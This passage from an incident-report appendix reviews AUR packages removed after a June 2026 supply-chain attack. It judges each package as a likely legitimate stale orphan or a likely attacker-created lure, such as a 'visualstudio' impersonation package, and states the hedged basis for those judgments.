Assessment: OmniDB is a real open-source database management web application, later acquired by 2ndQuadrant/EDB. An -server variant packaging the server component separately is exactly how AUR packagers split client and server for web-based tools. Almost certainly a legitimate old package from when OmniDB was actively maintained. Stale orphan.
organize-binFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: organize is a real Python file organization tool (tfeldmann/organize on GitHub). A -bin variant providing a Pyinstaller-packaged binary is consistent with legitimate AUR packaging patterns for Python tools. Likely a legitimate orphan.
pidgin-im-gnome-shell-extensionFirst appeared: Unknown prior to incident (likely circa 2013–2018).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Pidgin IM GNOME Shell integration extensions were real and actively maintained during the GNOME 3.x era. This package almost certainly dates to when Pidgin was common on GNOME desktops. Long since orphaned as Pidgin usage declined and GNOME Shell extension APIs broke compatibility repeatedly. A textbook stale orphan: legitimate origin, zero active maintainer, years of neglect.
plex-media-player-customFirst appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: The original Plex Media Player desktop application was officially discontinued by Plex. Three deleted variants appear together: -custom, -mod, and -v2. Three simultaneous novel variants of a discontinued application in the same incident window is suspicious. The cluster pattern is consistent with attacker-created packages. Treat the cluster of three as a unit: likely attacker-created.
plex-media-player-modFirst appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: See plex-media-player-custom above. Part of the same suspected attacker-created cluster of three.
plex-media-player-v2First appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: See plex-media-player-custom above. A "v2" of a discontinued application with no corresponding upstream release is a flag. Likely attacker-created.
pypi-cliFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: pypi-cli is a real Python CLI tool for querying the Python Package Index. A legitimate AUR package is both plausible and expected. Almost certainly a stale orphan — developer tooling with a small and specialized install base, easily orphaned.
python2-ctypesFirst appeared: Unknown prior to incident (Python 2 EOL was January 2020; this package may predate the incident by 5+ years).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Python 2 is end-of-life. ctypes is a standard library module in Python 2, so a standalone python2-ctypes package would only exist to satisfy a legacy build dependency or provide a standalone compatibility shim. Post-EOL Python 2 packages are ideal orphan targets: zero active maintainers, non-zero install base on legacy systems, and nobody watching the repository.
python2-fusepyFirst appeared: Unknown prior to incident (likely pre-2020).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: fusepy is a real Python FUSE interface library. A Python 2 variant follows the standard AUR python2-<package> naming convention. Legitimate old package, almost certainly orphaned at Python 2 EOL. Same category as python2-ctypes.
ruby-kramdown-rfc2629First appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: kramdown-rfc2629 is a real Ruby gem for converting Markdown to RFC XML format (RFC 2629 / RFC 7991), used by IETF contributors. AUR ruby-<gemname> naming is standard. This is a niche academic and standards-community tool with a tiny potential install base — exactly the kind of corner-case package that goes unmonitored for years between submissions. Stale orphan, legitimate origin.
toggldesktop-binFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Note the split: toggldesktop (row 1732 in the main appendix) has a real version (7.5.363-3.tar.gz) and was reverted. The -bin variant was deleted. Toggl Track Desktop has been sunset by Toggl. The source package being reverted while the -bin variant was deleted suggests the latter may have been attacker-created as a companion "pre-compiled" lure. Likely attacker-created.
vectrFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: Vectr is a real free vector graphics web application by Vectorly. A Linux desktop AUR package wrapping an Electron build is plausible. Vectr's Linux packaging history is sparse, which made it a natural orphan target. Likely a legitimate stale orphan.
vim-live-latex-previewFirst appeared: Unknown prior to incident.
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: vim-live-latex-preview is a real Vim plugin for live LaTeX PDF preview during editing. A legitimate AUR package is expected. Low install volume, niche academic use case, long since unmaintained. Almost certainly a legitimate stale orphan — the kind of specialized tool academics install once and forget about while the maintainer does the same.
visualstudioFirst appeared: June 9–11, 2026 (estimated).
Removed: June 11–17, 2026.
By whom: Arch Trusted User team.
Mailing list: No individual thread entry in indexed sources.
Assessment: There is no Microsoft Visual Studio for Linux. Visual Studio is Windows and macOS only. The Linux offering is Visual Studio Code, packaged on AUR as code, visual-studio-code-bin, or vscodium. A package named visualstudio (without -code) impersonates a product that does not exist on this platform. This is designed to catch users who don't know the VS vs. VS Code distinction — a well-documented confusion that has been exploited in npm typosquatting campaigns before. High confidence: attacker-created.
Mailing list note: The AUR-general incident thread (FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4) served as the community reporting queue. It was opened by user Kusoneko on June 11, 2026, reporting malicious commits in alvr. Jonathan Grotelüschen (Arch staff) posted the live HedgeDoc URL on June 12 at 17:33. David Runge (Arch staff) clarified the arojas commit forgery on the same day. The 52 packages in this section do not appear individually in indexed secondary reporting, and the mailing list thread itself was not fetchable for direct citation. Per-package mailing list entries are not in evidence. Assessments in this section are based on package name analysis, comparison with known legitimate AUR packages, the deletion-vs-reversion distinction in the Arch cleanup, and available secondary reporting on the campaign's credential theft objectives.